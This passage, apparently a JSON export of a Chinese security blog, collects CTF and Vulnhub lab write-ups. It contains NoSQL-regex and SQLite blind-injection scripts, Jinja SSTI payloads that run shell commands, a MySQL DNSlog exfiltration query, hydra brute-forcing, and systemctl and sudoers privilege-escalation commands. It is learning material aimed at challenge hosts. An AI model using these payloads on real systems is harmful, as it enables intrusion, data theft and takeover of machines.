\"665f644e43731ff9db3d341da5c827e1\",\"challenge_name\": \"MeoW sixty IV\",\"category\": \"crypto\",\"challenge_description\": \"hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters\",\"challenge_flag\": \"CTFC{n0w_g0_4_th3_r34L_fl4G}\",\"points\": \"1000\",\"released\": \"True\"})\n\tdb.challs.insert_one({\"_id\": \"38026ed22fc1a91d92b5d2ef93540f20\",\"challenge_name\": \"ImPAWSIBLE\",\"category\": \"web\",\"challenge_description\": \"well, this challenge is not fully created yet, but we have the flag for it\",\"challenge_flag\": os.environ['CHALL_FLAG'],\"points\": \"1500\",\"released\": \"False\"})\n\n# login check\ndef check_login(f):\n\t@wraps(f)\n\tdef wrap(*args,**kwrags):\n\t\tif 'user' in session:\n\t\t\treturn f(*args,**kwrags)\n\t\telse:\n\t\t\treturn render_template('dashboard.html')\n\treturn wrap\n\n# routes\nfrom user import routes\n\[email protected]('/')\n@check_login\ndef dashboard():\n\tchalls = []\n\tfor data in db.challs.find():\n\t\tdel data['challenge_flag']\n\t\tchalls.append(data)\t\n\tchall_1 = challs[0]\n\tchall_2 = challs[1]\n\treturn render_template('t_dashboard.html',username=session['user']['username'],chall_1=chall_1,chall_2=chall_2)\n\[email protected]('/register')\ndef register():\n\treturn render_template('register.html')\n\[email protected]('/login')\ndef login():\n\treturn render_template('login.html')\n\[email protected]('/logout')\ndef logout():\n\tsession.clear()\n\treturn redirect('/')\n\[email protected]('/submit_flag',methods=['POST'])\n@check_login\ndef submit_flag():\n\t_id = request.json.get('_id')[-1]\n\tsubmitted_flag = request.json.get('challenge_flag')\n\tchall_details = db.challs.find_one(\n\t\t\t{\n\t\t\t\"_id\": md5(md5(str(_id).encode('utf-8')).hexdigest().encode('utf-8')).hexdigest(),\n\t\t\t\"challenge_flag\":submitted_flag\n\t\t\t}\n\t)\n\tif chall_details == None:\n\t\treturn \"wrong flag!\"\n\telse:\n\t\treturn \"correct flag!\"\n\n# wait untill mongodb start then create the challs in db\nsleep(10)\ncreateChalls()\n~~~\n\n能看出是`MongoDB`可以用`$regex` 进行正则匹配\n\nexp:\n\n~~~\nimport requests, string\nfrom urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\n\nheaders = {\n 'Content-Type': 'application/json'\n}\n\ncookies = {\n 'session': 'eyJ1c2VyIjp7Il9pZCI6IjNhZDFlZGRlODNkMzRmMjhiZTMwMDdiYTIxOWQzZDUyIiwidXNlcm5hbWUiOiJhc2Rhc2QifX0.ZVoXtA.-obI_0v_QOu3KgulYZCyrYukpiM'\n} #登录的session\n\nflag = ''\n\nwhile True:\n for l in string.ascii_letters + string.digits + \"_{}\":\n data = '{\"_id\":\"_id:3\",\"challenge_flag\":{\"$regex\":\"^' + flag + l + '.*\"}}'\n print(data)\n data = requests.post('https://ctfc2.ctf.intigriti.io/submit_flag', data = data, headers = headers, cookies = cookies, verify=False)\n print(data.text)\n if 'correct flag!' in data.text:\n flag += l\n print(flag)\n break\n else:\n print('Failed')\n exit(1)\n\n~~~\n\n## Bug Bank\n\n有两种解法,预期解我也没看懂,非预期解就很简单了,通过转钱的功能转`-100000000`原账号就会减`-100000000`就会变成正的,就可以买flag了\n\n预期解可以参考:\n\n~~~\nhttps://github.com/opabravo/security-writeups/blob/main/ctf/2023-11-17%20Intigriti%201337up%20CTF%202023.md\n\nhttps://portswigger.net/research/hijacking-service-workers-via-dom-clobbering\n~~~\n\n## Smarty Pants\n\n~~~\n#index.php\n<?php\nif(isset($_GET['source'])){\n highlight_file(__FILE__);\n die();\n}\n\nrequire('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');\n$smarty = new Smarty();\n$smarty->setTemplateDir('/tmp/smarty/templates');\n$smarty->setCompileDir('/tmp/smarty/templates_c');\n$smarty->setCacheDir('/tmp/smarty/cache');\n$smarty->setConfigDir('/tmp/smarty/configs');\n\n$pattern = '/(\\b)(on\\S+)(\\s*)=|javascript|<(|\\/|[^\\/>][^>]+|\\/[^>][^>]+)>|({+.*}+)/';\n\nif(!isset($_POST['data'])){\n $smarty->assign('pattern', $pattern);\n $smarty->display('index.tpl');\n exit();\n}\n\n// returns true if data is malicious\nfunction check_data($data){\n\tglobal $pattern;\n\treturn preg_match($pattern,$data);\n}\n\nif(check_data($_POST['data'])){\n $smarty->assign('pattern', $pattern);\n $smarty->assign('error', 'Malicious Inputs Detected');\n $smarty->display('index.tpl');\n exit();\n}\n\n$tmpfname = tempnam(\"/tmp/smarty/templates\", \"FOO\");\n$handle = fopen($tmpfname, \"w\");\nfwrite($handle, $_POST['data']);\nfclose($handle);\n$just_file = end(explode('/',$tmpfname));\n$smarty->display($just_file);\nunlink($tmpfname);\n~~~\n\n用换行符绕过即可\n\n## Bug Report Repo\n\n首先是sql盲注,数据库是`sqlite`,自己写的脚本,效率不够,还是得靠sqlmap\n\n~~~ py\nimport websocket\nimport string\nimport json\nstr=string.ascii_letters+string.digits+string.punctuation\nws = websocket.WebSocket()\nws.connect(\"wss://bountyrepo.ctf.intigriti.io/ws\")\nflag=''\nfor j in range(1,300):\n aaa=False\n for i in str:\n # data={\"id\":f\"11 and length(sqlite_version())={j}\"}判断数据库长度\n # data={\"id\":f\"11 AND SUBSTR((SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'),1,1)=CHAR({j})\"}判断表长度\n #data={\"id\":f\"11 and substr((select group_concat(tbl_name) from sqlite_master where type='table' limit 0,1),{j},1)='{i}'\"}\n data = {\"id\": f\"11 and substr((select group_concat(sql) from sqlite_master),{j},1)='{i}'\"}\n data=json.dumps(data)\n #print(data)\n ws.send(data)\n a=ws.recv()\n print(a)\n if 'Bug report from ethical_hacker is Open' in a:\n aaa=True\n flag+=i\n print(flag)\n break\n #continue\n if aaa == False:\n print(\"ok\")\n break\n\n~~~\n\n附一个别的师傅写的脚本\n\n~~~py\nimport string\nfrom websockets.sync.client import connect\nimport json\n\nURL = 'bountyrepo.ctf.intigriti.io'\n# ALPHABET = string.ascii_uppercase # string.ascii_letters + '{!_}'\nALPHABET = string.digits + '.'\nPAYLOAD = \"1 AND (select sqlite_version()) LIKE '{guess}%' -- -\"\n\n# flag = 'INTIGRITI' \nflag = '' \nwith connect(f\"wss://{URL}/ws\") as websocket:\n while True:\n for c in ALPHABET:\n payload = PAYLOAD.format(guess=flag + c)\n print('\\r>>>', payload, end='')\n websocket.send(json.dumps({\"id\": payload}))\n message = websocket.recv()\n if 'Bug not found!' not in message:\n flag += c\n print()\n print(flag)\n break\n\n\n'''\n# PAYLOAD = \"1 AND (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%') LIKE '{tables}%' -- -\"\n# tables = \"bug_reports\"\n# PAYLOAD = \"1 AND (SELECT GROUP_CONCAT(name) FROM PRAGMA_TABLE_INFO('bug_reports')) LIKE '{guess}%' --\"\n# columns = 'id,category,description,severity,cvss_score,status,reported_by,reported_date'\n'''\n~~~\n\n\n\n爆出来的一条有用的东西\n\n~~~\ncrypt0:c4tz on /4dm1n_z0n3, really?!\n~~~\n\n访问是一个登录页面,用给的用户名密码登录,他是得是admin,那就是jwt,但是不知道密钥啊,这个时候就用到了一个工具`jwt-cracker`爆破密钥,字典用`rockyou`,key是`catsarethebest`,伪造admin就ok了\n\n## Pizza Time\n\n只有一处功能点....\n\n~~~\nsudo nmap -sVC -T4 -Pn -vv -p 443 pizzatime.ctf.intigriti.io\n~~~\n\n探测web服务,用的是ngnix,可以猜测是`Flask/Django`或者`node`\n\n首先fuzz,可以看出除了`&`和`+`的所有的特殊字符都被过滤了大括号也被过滤了,难道不是`SSTI`么?不!他就是SSTI,`%0a`可以绕过,具体原理是什么我得分析分析源码再写\n\npayload:\n\n~~~\nx%0a{{lipsum.__globals__[\"os\"].popen('cat+/etc/passwd').read()}}\n~~~\n\n但是这样会报500,将命令放进header里就可以绕过了\n\n~~~\nx%0a{{lipsum.__globals__[\"os\"].popen(request.headers.get(\"X\")).read()}}\n~~~\n\n","tags":["ctf"],"categories":["ctf","复盘"]},{"title":"dnslog注入学习","url":"/2023/10/18/dnslog注入学习/","content":"\n## 什么是DNSlog\n\nDNS(Domain Name System)域名服务系统,简单的说就是域名与IP转换服务,比如用户输入a.com,DNS就会将a.com解析找到它真实的ip,以便于访问服务器上的相关服务,DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名访问的信息,类似于日志文件。\n\n## DNSlog回显原理\n\n首先我们先了解一下多级域名的概念\n\n[域名分级与域名解析过程(DNS)](https://blog.csdn.net/m0_37263637/article/details/85157611)\n\n因特网采用层次树状结构命名方法。域是名字空间中一个可被管理的划分(按机构组织划分),域可被划分为子域,子域可再被划分,即形成了顶级域名、二级域名、三级域名等。从右向左为顶级域名、二级域名、三级域名等,用点隔开。例如`872323857.github.io`,io就是顶级域名,github就是二级域名,872323857就是三级域名。且域名不分大小写。\n\n![](/pic/DNSLOG/DNSLOG.png)\n\n通俗的说就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。\n\n自己操作一下才能更好的理解,首先在http://www.dnslog.cn/上获得一个域名,然后我们ping一下\n\n![](/pic/DNSLOG/DNSLOG2.png)\n\n我们将1换成别的试试\n\n![](/pic/DNSLOG/DNSLOG3.png)\n\n可以看到解析的日志会把%USERNAME%的值给带出来,因为系统在ping命令之前会将%USERNAME%的值解析出来,然后再和域名拼接起来。\n\n## DNSlog利用\n\n### sql注入\n\n![](/pic/DNSLOG/DNSLOG4.png)\n\n就以sql盲注为例,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,为什么呢。因为在利用sql盲注进行DNSlog回显时,需要用到load_file函数,这个函数可以进行DNS请求。那\n和只能在windows上用有什么关系呢,这里就涉及到Windows的一个小Tips——**UNC路径**\n\n### UNC路径\n\nUNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。\n \\abc.xxx\\test\n这也就解释了为什么CONCAT()函数拼接了4个\\了,双斜杠表示网络资源路径多加两个\\就是转义了反斜杠。\n 通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。`show variables like '%secure%'`;查看load_file()可以读取的磁盘。\n 1、当secure_file_priv为空,就可以读取磁盘的目录。\n 2、当secure_file_priv为G:\\,就可以读取G盘的文件。\n 3、当secure_file_priv为null,load_file就不能加载文件。\n 通过设置my.ini来配置。secure_file_priv=\"\"就是可以load_flie任意磁盘的文件。\n\n在mysql中执行命令`select load_file('\\\\\\\\a.a92pjl.dnslog.cn\\\\a');`可以看到\n\n![](/pic/DNSLOG/DNSLOG5.png)\n\n和之前的结合起来构造语句,用sqli靶场来测试\n\n~~~\n' and if((select load_file(concat('\\\\\\\\',(select database()),'.\nbhf0ay.dnslog.cn\\\\abc'))),1,0)--+\n~~~\n\n![](/pic/DNSLOG/DNSLOG6.png)\n\n## 小结\n\nDNSlog注入不止可以用于sql注入,还可以用于xss,xxe,ssrf等,思路打开。\n\n可以参考:\n\nhttps://www.cnblogs.com/Xy--1/p/12896599.html\n","tags":["web","sql注入"],"categories":["web"]},{"title":"SYSTEM_FAILURE_1靶场","url":"/2023/09/16/SYSTEM-FAILURE-1靶场/","content":"\n跟着别人的视频打一下。\n\n靶场直接就给了ip地址,用nmap扫一下端口\n\n![](/pic/sf1/1.png)\n\n开放了445端口,445端口默认开放的是SMB服务,可以利用相关的工具,`smbclient`、`smbmap`\n\n![](/pic/sf1/2.png)\n\n用`smbmap`扫描可以发现有一个匿名的共享,用`smbclient` //ip/anonymous连接,空密码直接回车就行。\n\n![](/pic/sf1/3.png)\n\n查看文件发现只有一个share,用`get share`下载下来,查看share文件。\n\n![](/pic/sf1/4.png)\n\n给了`Admin`和`89492D216D0A212F8ED54FC5AC9D340B`,猜测是账号密码,md5解密得`qazwsxedc`,用xftp连接,或者用lftp连接也可以。\n\n![](/pic/sf1/5.png)\n\nftp可以连接,ssh试过之后也可以连接。利用`linpeas.sh`搜集一下有没有可以提权的东西\n\n> 工具地址:https://github.com/carlospolop/PEASS-ng\n\n![](/pic/sf1/6.png)\n\n但是用户权限太低,没有办法提权。\n\ncd到/Syst3m/F4iluR3,里面有很多文件\n\n![](/pic/sf1/7.png)\n\n他们的大小也都差不多,用`find ./ -size +1696c`命令找一下有没有不正常的文件,确实能找到`file0189.txt`,用`diff`命令可以比一下他与其他的文件有什么不同,但是发现文件内容是一行的,所以要给他们变成单行的。\n\n`cat file0189.txt |xargs -n 1 > /tmp/tmp1` `cat file.txt |xargs -n 1 > /tmp/tmp1`然后再用diff判断他们有什么不同。\n\n\n\n![](/pic/sf1/9.png)\n\n发现后面有一串不一样的,需要解密,base62解密得到`/Sup3rS3cR37`\n\n这个文件夹在`/var/www/html/area4`里,下载useful.txt,查看`/etc/passwd`能发现用户名,利用`hydra`进行爆破\n\n![](/pic/sf1/10.png)\n\n命令:`hydra -L user.txt -P useful.txt ssh://192.168.2.243 -V -I -u -e nsr` \n\n~~~\n-V 显示详细信息\n-I 忽略现有的恢复文件(不要等待 10 秒)\n-e “n”表示空密码,“s”尝试登录为通过,“r”尝试反向登录为通过\n~~~\n\n![](/pic/sf1/11.png)\n\n可以爆破出来密码,登录valex用户。\n\n![](/pic/sf1/12.png)\n\n`sudo -l`:列出用户可以执行和不可以执行的命令。\n\n可以发现`jin`用户可以用pico。在网上能找到nano的提权方式\n\n执行命令`sudo -u jin /usr/bin/pico` 然后\n\n~~~\n^R^X\nreset; sh 1>&0 2>&0\n~~~\n\n![](/pic/sf1/14.png)\n\n然后就到`jin`这个用户了,这个时候就可以执行`systemctl`了,这个时候就可以用`systemctl`进行提权。\n\n~~~\nTF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"chmod +s /bin/bash\"\n[Install]\nWantedBy=multi-user.target' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF\n~~~\n\n或者修改sudoers\n\n~~~\necho \\\"admin ALL=(ALL:ALL) ALL\">>/etc/sudoers\n~~~\n\n![](/pic/sf1/15.png)\n\n读取到root.txt\n","tags":["vulnhub"],"categories":["boot2root"]},{"title":"TFCCTF2023","url":"/2023/08/01/TFCCTF2023/","content":"\n# FORENSICS\n\n## DOWN BAD\n\n修改图片的高度就能得到flag\n\n## LIST\n\n比赛的时候与正确答案插肩而过了,我真该死啊。\n\n附件给了一个流量包,追踪TCP流能发现有类似`command=echo+%22ZmluZCAvaG9tZS9jdGYgLXR5cGUgZiAtbmFtZSAiRiIgMj4vZGV2L251bGw%3D%22+%7C+base64+-d+%7C+bash`这种,解码是` find /home/ctf -type f -name \"T\" 2>/dev/null`多解码几个可以发现-name的参数就是flag\n\n可以用`strings list.pcap|grep command`这个代码找到所有的flag,用脚本解码快一点,一个一个解码也可以。\n\n~~~\nimport base64\n\ntraces = open(\"./2.txt\", \"r\").readlines()\n\nbase64_commands = []\n\nfor t in traces:\n t = t.replace(\"command=echo+%22\", \"\")\n t = t.replace(\"%22+%7C+base64+-d+%7C+bash\", \"\")\n t = t.replace(\"%3D\", \"\")\n t = t.strip()\n\n print(base64.b64decode(t + \"=\" * (len(t) % 4)).decode()[30], end=\"\")\n\n~~~\n\n","tags":["ctf"],"categories":["ctf","复盘"]},{"title":"AmateursCTF2023","url":"/2023/07/19/AmateursCTF2023/","content":"\n# WEB\n\n## waiting-an-eternity\n\n![](/pic/AmateursCTF/web1.png)\n\n看文件头,要等好长事件之后才会刷新,直接访问后面的url\n\n![](/pic/AmateursCTF/web2.png)\n\nsecretcode是md5解密,但是没什么用,Cookie里有`time`是时间戳将他改成`NAN`显示flag\n\n![](/pic/AmateursCTF/web3.png)\n\n## funny factorials\n\n附件给了一个app.py\n\n可控点在这里,通过改变主题得到flag\n\n~~~\ndef filter_path(path):\n # print(path)\n path = path.replace(\"../\", \"\")\n try:\n return filter_path(path)\n except RecursionError:\n # remove root / from path if it exists\n if path[0] == \"/\":\n path = path[1:]\n print(path)\n return path\n\n~~~\n\n将path里面的`../`删掉了,如果path开头是`/`会忽视掉,但是如果递归超过1000次就会进入`RecursionError`然后访问根目录下的flag.txt就行\n\npayload:\n\n~~~\nPOST /?theme=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../..///flag.txt\n~~~\n\n## latek\n\n关于latek可以看看这篇文章https://www.freebuf.com/articles/security-management/308191.html\n\n![](/pic/AmateursCTF/web4.png)\n\n直接用\\input的话flag输出不完全,问了chatgpt可以用其他方法进行任意文件读取\n\n~~~\n\\documentclass{article}\n\\usepackage{verbatim}\n\\begin{document}\nHello, world!\n\\verbatiminput{/flag.txt}\n\\end{document}\n\n~~~\n\n# REV\n\n## volcano\n\nida分析,先看main函数\n\n~~~c\n__int64 __fastcall main(int a1, char **a2, char **a3)\n{\n __int64 v4; // rbx\n __int64 v5; // rbx\n __int64 v6; // rbx\n unsigned __int64 v7; // [rsp+8h] [rbp-C8h] BYREF\n unsigned __int64 v8; // [rsp+10h] [rbp-C0h] BYREF\n unsigned __int64 v9; // [rsp+18h] [rbp-B8h] BYREF\n unsigned __int64 v10; // [rsp+20h] [rbp-B0h]\n FILE *stream; // [rsp+28h] [rbp-A8h]\n char s[136]; // [rsp+30h] [rbp-A0h] BYREF\n unsigned __int64 v13; // [rsp+B8h] [rbp-18h]\n\n v13 = __readfsqword(0x28u);\n setbuf(stdin, 0LL);\n setbuf(stdout, 0LL);\n setbuf(stderr, 0LL);\n printf(\"Give me a bear: \");\n v7 = 0LL;\n __isoc99_scanf(\"%llu\", &v7);\n if ( !sub_12BB(v7) )\n {\n puts(\"That doesn't look like a bear!\");\n return 1LL;\n }\n else\n {\n printf(\"Give me a volcano: \");\n v8 = 0LL;\n __isoc99_scanf(\"%llu\", &v8);\n if ( (unsigned __int8)sub_13D9(v8) != 1 )\n {\n puts(\"That doesn't look like a volcano!\");\n return 1LL;\n }\n else\n {\n printf(\"Prove to me they are the same: \");\n v9 = 0LL;\n v10 = 4919LL;\n __isoc99_scanf(\"%llu\", &v9);\n if ( (v9 & 1) != 0 && v9 != 1 )\n {\n v4 = sub_1209(v8);\n if ( v4 == sub_1209(v7)\n && (v5 = sub_124D(v8), v5 == sub_124D(v7))\n && (v6 = sub_1430(v10, v8, v9), v6 == sub_1430(v10, v7, v9)) )\n {\n puts(\"That looks right to me!\");\n stream = fopen(\"flag.txt\", \"r\");\n fgets(s, 128, stream);\n puts(s);\n return 0LL;\n }\n else\n {\n puts(\"Nope that's not right!\");\n return 1LL;\n }\n }\n else\n {\n puts(\"That's not a valid proof!\");\n return 1LL;\n }\n }\n }\n}\n~~~\n\n先看`sub_12BB`和`sub_13D9`这两个\n\n~~~c\n_BOOL8 __fastcall sub_12BB(unsigned __int64 a1)\n{\n if ( (a1 & 1) != 0 )\n return 0LL;\n if ( a1 % 3 != 2 )\n return 0LL;\n if ( a1 % 5 != 1 )\n return 0LL;\n if ( a1 % 7 == 3 )\n return a1 % 109 == 55;\n return 0LL;\n}\n~~~\n\n~~~\n_BOOL8 __fastcall sub_13D9(unsigned __int64 a1)\n{\n unsigned __int64 v2; // [rsp+8h] [rbp-10h]\n\n v2 = 0LL;\n while ( a1 )\n {\n v2 += a1 & 1;\n a1 >>= 1;\n }\n return v2 > 16 && v2 <= 26;\n}\n~~~\n\n逻辑很简单,写脚本爆破一下就行\n\n看后面\n\n~~~\n if ( v4 == sub_1209(v7)\n && (v5 = sub_124D(v8), v5 == sub_124D(v7))\n && (v6 = sub_1430(v10, v8, v9), v6 == sub_1430(v10, v7, v9)) )\n~~~\n\n前几个完全没用只用考虑最后一个括号里的内容就行。\n\nsub_1430:\n\n~~~c\nunsigned __int64 __fastcall sub_1430(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3)\n{\n unsigned __int64 v5; // [rsp+10h] [rbp-18h]\n unsigned __int64 v6; // [rsp+20h] [rbp-8h]\n\n v6 = 1LL;\n v5 = a1 % a3;\n while ( a2 )\n {\n if ( (a2 & 1) != 0 )\n v6 = v5 * v6 % a3;\n a2 >>= 1;\n v5 = v5 * v5 % a3;\n }\n return v6;\n}\n~~~\n\n直接写脚本爆破就行了\n\nexp:\n\n~~~python\ndef check1(a1):\n if a1 & 1 != 0:\n return 0\n if a1 % 3 != 2:\n return 0\n if a1 % 5 != 1:\n return 0\n if a1 % 7 == 3:\n return a1 % 109 == 55\n return 0\ndef check2(a1):\n v2 = 0\n while a1:\n v2 += a1 & 1\n a1 >>= 1\n return 16 < v2 <= 26\ndef s():\n for i in range(1,10000000):\n if check1(i) and check2(i):\n print(i)\ndef a():\n for i in range(1,10):\n if ((i & 1) != 0 and (i!= 1)):\n print(i)\ns() #输出前两个数\na() #输出第三个数\n~~~\n\nbear和volcano的数值一样。\n\n# MISC\n\n# Censorship\n\n给了一个main.py\n\n~~~python\n#!/usr/local/bin/python\nfrom flag import flag\n\nfor _ in [flag]:\n while True:\n try:\n code = ascii(input(\"Give code: \"))\n if \"flag\" in code or \"e\" in code or \"t\" in code or \"\\\\\" in code:\n raise ValueError(\"invalid input\")\n exec(eval(code))\n except Exception as err:\n print(err)\n\n~~~\n\n\n\n可以执行python的命令,但是不能有`flag`,`e`,`t`,flag是被定义的但是print里有t没有办法回显,可以用python的内置函数获得print。\n\npayload:\n\n~~~\nvars(globals()[dir()[2]])[globals()[dir()[2]].__dir__()[42]](globals())\n~~~\n\n","tags":["ctf"],"categories":["ctf"]},{"title":"CrewCTF","url":"/2023/07/11/CrewCTF/","content":"\n# WEB\n\n## sequence_gallery \t\t\t\t\t\n\n下载附件\n\n~~~python\n#main.py\nimport os\nimport sqlite3\nimport subprocess\n\nfrom flask import Flask, request, render_template\n\napp = Flask(__name__)\n\[email protected]('/')\ndef index():\n\tsequence = request.args.get('sequence', None)\n\tif sequence is None:\n\t\treturn render_template('index.html')\n\n\tscript_file = os.path.basename(sequence + '.dc') #构造脚本名,将sequence和.dc字符串连接起来,并获取路径中的文件名部分。\n\tif ' ' in script_file or 'flag' in script_file:\n\t\treturn ':('\n\n\tproc = subprocess.run( #运行dc命令\n\t\t['dc', script_file], \n\t\tcapture_output=True,\n\t\ttext=True,\n\t\ttimeout=1,\n\t)\n\toutput = proc.stdout\n\n\treturn render_template('index.html', output=output)\n\nif __name__ == '__main__':\n\tapp.run(host='0.0.0.0', port=8080)\n\n~~~\n\n~~~\nsubprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None)\n\nargs:表示要执行的命令。必须是一个字符串,字符串参数列表。\nstdin、stdout 和 stderr:子进程的标准输入、输出和错误。其值可以是 subprocess.PIPE、subprocess.DEVNULL、一个已经存在的文件描述符、已经打开的文件对象或者 None。subprocess.PIPE 表示为子进程创建新的管道。subprocess.DEVNULL 表示使用 os.devnull。默认使用的是 None,表示什么都不做。另外,stderr 可以合并到 stdout 里一起输出。\ntimeout:设置命令超时时间。如果命令执行时间超时,子进程将被杀死,并弹出 TimeoutExpired 异常。\ncheck:如果该参数设置为 True,并且进程退出状态码不是 0,则弹 出 CalledProcessError 异常。\nencoding: 如果指定了该参数,则 stdin、stdout 和 stderr 可以接收字符串数据,并以该编码方式编码。否则只接收 bytes 类型的数据。\nshell:如果该参数为 True,将通过操作系统的 shell 执行指定的命令。\n~~~\n\n在`subprocess.run()`中`shell`没等于`TRUE`但是容易受到参数的影响\n\n![](/pic/CrewCTF/web1.png)\n\n在kali里用man命令看dc的文档\n\n![](/pic/CrewCTF/web1.1.png)\n\n用`-e`和`!`可以执行命令,空格被过滤了,用其他符号绕过,在最后需要加上`%0a`表示输入了ENTER\n\npayload:`?sequence=-e${IFS}!cat${IFS}*.txt%0A`\n\n得到flag:`crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx} `\n\n放到kali里用dc命令转换为真实的flag\n\n![](/pic/CrewCTF/web1.2.png)\n","tags":["ctf"],"categories":["ctf","复盘"]},{"title":"UIUCTF2023","url":"/2023/07/04/UIUCTF023/","content":"\n# MISC\n\n## vimjail1 \n\n这道题一连接就是插入模式,想办法退出插入模式.\n\n~~~\n#entry.sh\n#!/usr/bin/env sh\n\nchmod -r /flag.txt\n\nvim -R -M -Z -u /home/user/vimrc\n\n~~~\n\n以只读、文本不可修改、限制模式、启动并且用`/home/user/vimrc`替代了原有的.vimrc\n\n~~~\n#vimrc\nset nocompatible\nset insertmode\n# 禁用了兼容模式,并且默认启动插入模式\ninoremap <c-o> nope\ninoremap <c-l> nope\ninoremap <c-z> nope\ninoremap <c-\\><c-n> nope\n# 将这些组合键转换为插入单词nope\n~~~\n\n但是可以按两次`ctrl+\\`再按一次`ctrl+n`来绕过,然后用`:e`来读取flag。\n\n`:e`表示编辑一个文件\n\n![](/pic/uiu/vim1.png)\n\n## vimjail2 \n\n~~~sh\n#entry.sh\n#!/usr/bin/env sh\n\nvim -R -M -Z -u /home/user/vimrc -i /home/user/viminfo\n\ncat /flag.txt\n~~~\n\n以只读模式、文本不可修改、限制模式启动vim,替换了原有的vimrc和viminfo\n\n ~~~\n #vimrc\n set nocompatible\n set insertmode\n \n inoremap <c-o> nope\n inoremap <c-l> nope\n inoremap <c-z> nope\n inoremap <c-\\><c-n> nope\n \n cnoremap a _\n cnoremap b _\n cnoremap c _\n cnoremap d _\n cnoremap e _\n cnoremap f _\n cnoremap g _\n cnoremap h _\n cnoremap i _\n cnoremap j _\n cnoremap k _\n cnoremap l _\n cnoremap m _\n cnoremap n _\n cnoremap o _\n cnoremap p _\n cnoremap r _\n cnoremap s _\n cnoremap t _\n cnoremap u _\n cnoremap v _\n cnoremap w _\n cnoremap x _\n cnoremap y _\n cnoremap z _\n cnoremap ! _\n cnoremap @ _\n cnoremap # _\n cnoremap $ _\n cnoremap % _\n cnoremap ^ _\n cnoremap & _\n cnoremap * _\n cnoremap - _\n cnoremap + _\n cnoremap = _\n cnoremap ` _\n cnoremap ~ _\n cnoremap { _\n cnoremap } _\n cnoremap [ _\n cnoremap ] _\n cnoremap \\| _\n cnoremap \\ _\n cnoremap ; _\n cnoremap < _\n cnoremap > _\n cnoremap , _\n cnoremap . _\n cnoremap / _\n cnoremap ? _\n ~~~\n\n将所有字符都转换成了下划线,绕过方式还是两次`ctrl+\\`+`ctrl+n`,entry.sh中最后有一个`cat /flag`,这意味着退出vim后会打印出flag.\n\n`:q`即可。\n\n## Corny Kernel \n\n附件给了一个c文件\n\n~~~c\n// SPDX-License-Identifier: GPL-2.0-only\n\n#define pr_fmt(fmt) KBUILD_MODNAME \": \" fmt\n\n#include <linux/module.h>\n#include <linux/init.h>\n#include <linux/kernel.h>\n\nextern const char *flag1, *flag2;\n\nstatic int __init pwny_init(void)\n{\n\tpr_alert(\"%s\\n\", flag1);\n\treturn 0;\n}\n\nstatic void __exit pwny_exit(void)\n{\n\tpr_info(\"%s\\n\", flag2);\n}\n\nmodule_init(pwny_init);\nmodule_exit(pwny_exit);\n\nMODULE_AUTHOR(\"Nitya\");\nMODULE_DESCRIPTION(\"UIUCTF23\");\nMODULE_LICENSE(\"GPL\");\nMODULE_VERSION(\"0.1\");\n~~~\n\n下面的代码的意思是当加载模块的时候输出第一段flag\n\n~~~c\nstatic int __init pwny_init(void)\n{\n\tpr_alert(\"%s\\n\", flag1);\n\treturn 0;\n}\n\n...\n\nmodule_init(pwny_init); #这行代码将 pwny_init 